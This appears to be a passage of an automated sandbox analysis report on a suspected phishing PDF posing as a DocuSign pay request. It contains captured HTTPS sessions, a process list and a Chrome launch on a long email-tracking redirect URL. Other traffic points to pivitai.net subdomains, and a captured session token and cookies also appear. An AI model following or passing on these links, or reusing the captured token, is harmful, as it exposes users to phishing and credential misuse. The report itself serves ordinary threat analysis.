2024-04-26 20:19:14 UTC	117	IN	Data Raw: 38 33 38 35 30 33 3b 35 30 63 37 39 31 30 36 3a 33 30 38 33 38 36 31 39 3b 6a 61 35 63 34 32 34 39 3a 33 31 30 30 36 32 34 34 3b 68 33 65 64 34 31 36 31 3a 33 30 38 39 31 37 38 34 3b 61 62 69 30 67 38 31 37 3a 33 30 39 35 32 38 37 35 3b 61 35 34 66 61 35 37 34 3a 33 30 39 39 33 33 34 39 3b 64 69 66 32 32 32 31 39 3a 33 30 39 36 30 34 30 32 3b 22 7d Data Ascii: 838503;50c79106:30838619;ja5c4249:31006244;h3ed4161:30891784;abi0g817:30952875;a54fa574:30993349;dif22219:30960402;"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.17	49768	40.126.7.32	443

Timestamp	Bytes transferred	Direction	Data
2024-04-26 20:19:15 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4775 Host: login.live.com
2024-04-26 20:19:15 UTC	4775	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-04-26 20:19:15 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Fri, 26 Apr 2024 20:18:15 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C529_SN1 x-ms-request-id: 1fba9695-9909-4872-ba13-186756b69472 PPServer: PPV: 30 H: SN1PEPF0002F954 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Fri, 26 Apr 2024 20:19:15 GMT Connection: close Content-Length: 11373
2024-04-26 20:19:15 UTC	11373	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.17	49769	40.126.7.32	443

Timestamp	Bytes transferred	Direction	Data
2024-04-26 20:19:16 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4775 Host: login.live.com
2024-04-26 20:19:16 UTC	4775	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-04-26 20:19:16 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Fri, 26 Apr 2024 20:18:16 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C529_SN1 x-ms-request-id: 292ed4e7-4cd6-4169-b1b2-d39b36a38617 PPServer: PPV: 30 H: SN1PEPF0002F122 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Fri, 26 Apr 2024 20:19:16 GMT Connection: close Content-Length: 11373
2024-04-26 20:19:16 UTC	11373	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.17	49770	40.126.7.32	443

Timestamp	Bytes transferred	Direction	Data
2024-04-26 20:19:17 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4788 Host: login.live.com
2024-04-26 20:19:17 UTC	4788	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-04-26 20:19:17 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Fri, 26 Apr 2024 20:18:17 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C529_SN1 x-ms-request-id: 970e36a7-05ed-4366-ac9a-32e872f52f49 PPServer: PPV: 30 H: SN1PEPF0002F1A6 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Fri, 26 Apr 2024 20:19:17 GMT Connection: close Content-Length: 11177
2024-04-26 20:19:17 UTC	11177	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.17	49771	23.219.0.175	443

Timestamp	Bytes transferred	Direction	Data
2024-04-26 20:19:18 UTC	2580	OUT	GET /client/config?cc=CH&setlang=en-CH HTTP/1.1 X-Search-CortanaAvailableCapabilities: None X-Search-SafeSearch: Moderate Accept-Encoding: gzip, deflate X-Device-MachineId: {92C86F7C-DB2B-4F6A-95AD-98B4A2AE008A} X-UserAgeClass: Unknown X-BM-Market: CH X-BM-DateFormat: dd/MM/yyyy X-Device-OSSKU: 48 X-BM-DTZ: 120 X-DeviceID: 01000A41090080B6 X-BM-WindowsFlights: FX:117B9872,FX:119E26AD,FX:11C0E96C,FX:11C6E5C2,FX:11C7EB6A,FX:11C9408A,FX:11C940DB,FX:11CB9A9F,FX:11CB9AC1,FX:11CC111C,FX:11D5BFCD,FX:11DF5B12,FX:11DF5B75,FX:1240931B,FX:124B38D0,FX:127FC878,FX:1283FFE8,FX:12840617,FX:128979F9,FX:128EBD7E,FX:129135BB,FX:129E053F,FX:12A74DB5,FX:12AB734D,FX:12B8450E,FX:12BD6E73,FX:12C3331B,FX:12C7D66E X-Search-TimeZone: Bias=-60; DaylightBias=-60; TimeZoneKeyName=W. Europe Standard Time X-BM-Theme: 000000;0078d7 X-Search-RPSToken: t%3DEwDgAkR8BAAUcvamItSE/vUHpyZRp3BeyOJPQDsAAZuJ96Lu0h17VTAAgmgHyOpH%2BMwz4ucSop2ZqBMCotRAsg0BS5RHRy%2BgEOGYmg8VUd5X6SUo499h2DUHa6gcQn4MetTK%2Bfn4hBtmHUx9Lg2BYERM5WL9hogNsGKt4e0pZXDvNv11/xBZ3e3VOzF%2B%2BTI73bdmzHezAWhzSiW5M42p8XVfHGnwEMsiAateRpZ4sI9pwPogwb/13Q9J1ayd/VaqH70VmGn3PbhWTLeM3Ex0OWFfKL29aYvR0Hy4gQxzQCR2yHx7LaefGuXdpppVGYDnGolP4eSf1Py9k777dJAf7okg3XLhHmWPhBYBhUrK5cj9pt5HR3pAIINtmJ05EWwDZgAACICuGgQQjhtHsAHovJPr14Gg3JvrD2VqavHRfhk14mK9mZcFn286dFVem7mVaB%2BpmHHS9X051LEAOvrces0AAYoINjrojQuzeELmUGPQT9DevMBr9ReoGPnmYOUTzsBMWa7RAveFpSEO2I/vCh5yuSNrzdyWsKYj9l0uDjxz2mipdvAUf0JGhOvMewHvOqWVFgDsJAWN/mnXxEoZrdyWlTgGPzJBAepKXu04C/Mk4HEUbHw94LriLJsMSnLbKEt9c/6L10z8hfEmpytfcY%2BPpM620snevvVELl9YUJ5tEoqDFlTF9hrW64Rw55mthbpzglu8N5YiQ6qFZO7Og6CHYAjMjwkaX7wziuGQrYxZG%2BKtkbZtqi7LtOSfBnJtVXg%2B/oe3QPv72/ph8TjzO9ADw%2BJPKMGyvWjmMM6Vh6P3n4xVVm/Wo8zvCx5O2tK0T86luLqRr9000wh0OYRs9BEAJ9Wfzm%2B4SMupFTF4/Yvjj4kEs6usnTHZyMsffFEceQakG2JETlARaCyHgXct8BfS0sml4KqIWFxE%2B%2BtgH1wqD3Jl0x4d3ZRZ2kRIXJfFp/xDZu1XB0jMKKK [TRUNCATED] X-Agent-DeviceId: 01000A41090080B6 X-BM-CBT: 1714162752 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.14.7.19041; 10.0.0.0.19045.2006) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 X-Device-isOptin: false Accept-language: en-GB, en, en-US X-Device-Touch: false X-Device-ClientSession: 35388D629A864227A6FF8680AFC52667 X-Search-AppId: Microsoft.Windows.Cortana_cw5n1h2txyewy!CortanaUI Host: www.bing.com Connection: Keep-Alive Cookie: SRCHUID=V=2&GUID=C4EAB6C130004333A34B5668AE4E4D10&dmnchg=1; SRCHD=AF=NOFORM; SRCHUSR=DOB=20240207; SRCHHPGUSR=SRCHLANG=en; MUID=4590362BB5CF472B95BBEDB3112D4B7B; MUIDB=4590362BB5CF472B95BBEDB3112D4B7B
2024-04-26 20:19:18 UTC	1148	IN	HTTP/1.1 200 OK Content-Length: 2215 Content-Type: application/json; charset=utf-8 Cache-Control: private X-EventID: 662c0c46976840e6b7788db9f1572f84 X-AS-SetSessionMarket: de-ch UserAgentReductionOptOut: A7kgTC5xdZ2WIVGZEfb1hUoNuvjzOZX3VIV/BA6C18kQOOF50Q0D3oWoAm49k3BQImkujKILc7JmPysWk3CSjwUAAACMeyJvcmlnaW4iOiJodHRwczovL3d3dy5iaW5nLmNvbTo0NDMiLCJmZWF0dXJlIjoiU2VuZEZ1bGxVc2VyQWdlbnRBZnRlclJlZHVjdGlvbiIsImV4cGlyeSI6MTY4NDg4NjM5OSwiaXNTdWJkb21haW4iOnRydWUsImlzVGhpcmRQYXJ0eSI6dHJ1ZX0= X-XSS-Protection: 0 P3P: CP="NON UNI COM NAV STA LOC CURa DEVa PSAa PSDa OUR IND" Date: Fri, 26 Apr 2024 20:19:18 GMT Connection: close Set-Cookie: _EDGE_S=SID=3506919E03986C211F3985F3028C6DB3&mkt=de-ch; domain=.bing.com; path=/; HttpOnly Set-Cookie: ANON=A=84BEA1DAAAB85FA790252CDAFFFFFFFF; domain=.bing.com; expires=Wed, 21-May-2025 20:19:18 GMT; path=/; secure; SameSite=None Set-Cookie: WLS=C=0000000000000000&N=; domain=.bing.com; path=/; secure; SameSite=None Set-Cookie: _SS=SID=3506919E03986C211F3985F3028C6DB3; domain=.bing.com; path=/; secure; SameSite=None Alt-Svc: h3=":443"; ma=93600 X-CDN-TraceID: 0.2ffbda17.1714162758.11c4f78e
2024-04-26 20:19:18 UTC	2215	IN	Data Raw: 7b 22 76 65 72 73 69 6f 6e 22 3a 31 2c 22 63 6f 6e 66 69 67 22 3a 7b 22 46 65 61 74 75 72 65 43 6f 6e 66 69 67 22 3a 7b 22 53 65 61 72 63 68 42 6f 78 49 62 65 61 6d 50 6f 69 6e 74 65 72 4f 6e 48 6f 76 65 72 22 3a 7b 22 76 61 6c 75 65 22 3a 74 72 75 65 2c 22 66 65 61 74 75 72 65 22 3a 22 22 7d 2c 22 53 68 6f 77 53 65 61 72 63 68 47 6c 79 70 68 4c 65 66 74 4f 66 53 65 61 72 63 68 42 6f 78 22 3a 7b 22 76 61 6c 75 65 22 3a 74 72 75 65 2c 22 66 65 61 74 75 72 65 22 3a 22 22 7d 2c 22 53 65 61 72 63 68 42 6f 78 55 73 65 53 65 61 72 63 68 49 63 6f 6e 41 74 52 65 73 74 22 3a 7b 22 76 61 6c 75 65 22 3a 66 61 6c 73 65 2c 22 66 65 61 74 75 72 65 22 3a 22 22 7d 2c 22 53 65 61 72 63 68 42 75 74 74 6f 6e 55 73 65 53 65 61 72 63 68 49 63 6f 6e 22 3a 7b 22 76 61 6c 75 65 Data Ascii: {"version":1,"config":{"FeatureConfig":{"SearchBoxIbeamPointerOnHover":{"value":true,"feature":""},"ShowSearchGlyphLeftOfSearchBox":{"value":true,"feature":""},"SearchBoxUseSearchIconAtRest":{"value":false,"feature":""},"SearchButtonUseSearchIcon":{"value

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.17	49774	35.190.80.1	443	8028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-26 20:19:25 UTC	533	OUT	OPTIONS /report/v4?s=NLU63AxXpsh7Z6mXYy21CA4YvcFrZLIpDr2w83sAgftWHXgv%2FYJHtn7rR5j88isF6FKWX7%2F20YYsArH3dXWjjpueO15fGxyifrGttNUVcUU55UhQlPoPJghtiAqlaRYAmiap HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Origin: https://wreg.pivitai.net Access-Control-Request-Method: POST Access-Control-Request-Headers: content-type User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-26 20:19:25 UTC	336	IN	HTTP/1.1 200 OK content-length: 0 access-control-max-age: 86400 access-control-allow-methods: OPTIONS, POST access-control-allow-origin: * access-control-allow-headers: content-type, content-length date: Fri, 26 Apr 2024 20:19:25 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.17	49776	35.190.80.1	443	8028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-26 20:19:26 UTC	474	OUT	POST /report/v4?s=NLU63AxXpsh7Z6mXYy21CA4YvcFrZLIpDr2w83sAgftWHXgv%2FYJHtn7rR5j88isF6FKWX7%2F20YYsArH3dXWjjpueO15fGxyifrGttNUVcUU55UhQlPoPJghtiAqlaRYAmiap HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Content-Length: 502 Content-Type: application/reports+json User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-26 20:19:26 UTC	502	OUT	Data Raw: 5b 7b 22 61 67 65 22 3a 35 39 38 39 37 2c 22 62 6f 64 79 22 3a 7b 22 65 6c 61 70 73 65 64 5f 74 69 6d 65 22 3a 36 35 36 2c 22 6d 65 74 68 6f 64 22 3a 22 47 45 54 22 2c 22 70 68 61 73 65 22 3a 22 61 70 70 6c 69 63 61 74 69 6f 6e 22 2c 22 70 72 6f 74 6f 63 6f 6c 22 3a 22 68 74 74 70 2f 31 2e 31 22 2c 22 72 65 66 65 72 72 65 72 22 3a 22 68 74 74 70 73 3a 2f 2f 64 66 67 72 74 2e 70 69 76 69 74 61 69 2e 6e 65 74 2f 22 2c 22 73 61 6d 70 6c 69 6e 67 5f 66 72 61 63 74 69 6f 6e 22 3a 31 2e 30 2c 22 73 65 72 76 65 72 5f 69 70 22 3a 22 31 37 32 2e 36 37 2e 32 32 33 2e 31 37 30 22 2c 22 73 74 61 74 75 73 5f 63 6f 64 65 22 3a 32 30 30 2c 22 74 79 70 65 22 3a 22 61 62 61 6e 64 6f 6e 65 64 22 7d 2c 22 74 79 70 65 22 3a 22 6e 65 74 77 6f 72 6b 2d 65 72 72 6f 72 22 2c 22 Data Ascii: [{"age":59897,"body":{"elapsed_time":656,"method":"GET","phase":"application","protocol":"http/1.1","referrer":"https://dfgrt.pivitai.net/","sampling_fraction":1.0,"server_ip":"172.67.223.170","status_code":200,"type":"abandoned"},"type":"network-error","
2024-04-26 20:19:26 UTC	168	IN	HTTP/1.1 200 OK content-length: 0 date: Fri, 26 Apr 2024 20:19:26 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Target ID:	0
Start time:	22:17:31
Start date:	26/04/2024
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\Desktop\DocuSign_Payapp#5_Pay_Requests.pdf"
Imagebase:	0x7ff608b00000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	2
Start time:	22:17:32
Start date:	26/04/2024
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff6ffbb0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	3
Start time:	22:17:33
Start date:	26/04/2024
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=1624 --field-trial-handle=1548,i,17368980991378574226,11935322208934243998,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff6ffbb0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	16
Start time:	22:18:11
Start date:	26/04/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://email.wantyourfeedback.com/ls/click?upn=u001.KEFiNUywklssADlx7ClhNgjdvMuvho1aW1VM0ypUexGejfcF5XZwY-2B6xtEf4K-2F0OUqW9J0ZCgtiHnuKPgwO57BN4nbMytPQKOXIsVPbDdaBFDQtTyzoa5R25WwanU8fj5yZvqu-2B0aEG-2FQ4kSONuVxLFMM-2FqYS1MSJTaXLSNFuW4lt9FGNOi682M0ACrKV4PH6f0bRGoXVwDSky-2BmaGT29AW5EV3RuTchu-2Boru3Y4Wm16cjugy6y-2F2BOZGZgPXLOR-2FFuMVOmBKDWyrgq2GUQxylBbCGXaTxKLNXuzOh1ksEsgdWOGQpbxMyYTcDgeZTrmeDmO727fKFS9y56TUe-2B-2BoBxWffpolwRAl10klJE3e621FXqSu7J-2BoO4HtcqciqN2yEmVQDTZeOiI4bgA5aknYFJoRzj5hZU63gJGvvMRh8Tqehj6cDyF9iHzG2g-2ByPvGjv9-2BY2hfcC7pMyfhaUZcB007mefDydRUmf5iRpMEgHR9Sg2XT7F31nGyAVtnPUHLCd-2F0y5N0zs-2B-2B-2FZf3TppEDBz4F3-2F6x2TfixqzzHPJHmGaDqIEsVqDag0p1CiLubdh-2BQ9ZwrdhYiMWvARGXRC5xDGIds3LiaJ35XcsroyLybhVsqMnQF-2FGK3qBYg4qiYPmbojMT2hi6OKOruTks5dTxn7bWIIh9iyVhgVqKl911azwSXtdb0Tm9w-2Bm4xTESGeIWacX5XwsvgSZkTgnF2q1XheonEnppza3CcFNYhOKVzSKP-2BlzMVWdhorzfsmpCaugAN1ynPRWwMr3nCm27Kqi2LjVKPmnvGtSA-2BdPJFkoDN2x0HWjiJX4bj-2B5Qie7gT7SHJ30pvX8eXFRnjOdpRN2wQ-3D-3DLEZO_-2B9RHaNlJTuT8Wl45M2xpmvRCZtWd0m9fTP74dNraSGfMgLd3R9QIuzEYL9XI7ldyhHZWVscd7CKMBwn5KQO96mWzbN7-2F2q4GodMF-2Bp-2F1fPX3Lf0iglsshTS0TOMR7hthNJ2CQy9yjw1G5cYyoERctW7e1GyPFYDp6vYSDyV5A4-2BJeBVPfbAvVUxlDOpG6mXhHdLD4qO-2FeBdvvviJNlAFYkkSI7OxVaZQWre